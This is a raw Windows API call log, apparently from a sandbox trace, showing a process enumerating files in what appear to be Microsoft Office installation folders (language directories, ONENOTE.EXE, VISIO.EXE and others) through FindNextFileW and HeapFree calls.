	[0172.109] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0172.110] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.110] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0172.110] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.110] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0172.110] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.110] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0172.110] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.110] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0172.110] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.110] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1
	[0172.111] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.111] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1
	[0172.111] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.111] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0172.111] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.111] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0172.111] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.111] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1
	[0172.111] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.111] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0172.112] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.112] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0172.112] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.112] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0172.112] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.112] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0172.112] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.112] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0172.112] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.112] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0172.281] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0172.281] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.281] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1
	[0172.339] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.339] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1
	[0172.492] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.492] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1
	[0172.497] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.497] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1
	[0172.497] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.497] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0172.498] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.498] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0172.498] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.498] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1
	[0172.499] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.499] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1
	[0172.501] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.501] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1
	[0172.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.510] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1
	[0172.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.510] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1
	[0172.511] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.511] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1
	[0172.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.512] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1
	[0172.739] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.739] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0172.739] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0172.739] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.739] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1
	[0172.740] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0172.740] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1
	[0172.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.741] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1
	[0172.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.743] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0172.748] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4175ba0 | out: hHeap=0x710000) returned 1
	[0172.748] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0172.748] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0172.748] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.748] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0172.750] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.750] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1
	[0172.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0172.752] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0
	[0172.752] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0172.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
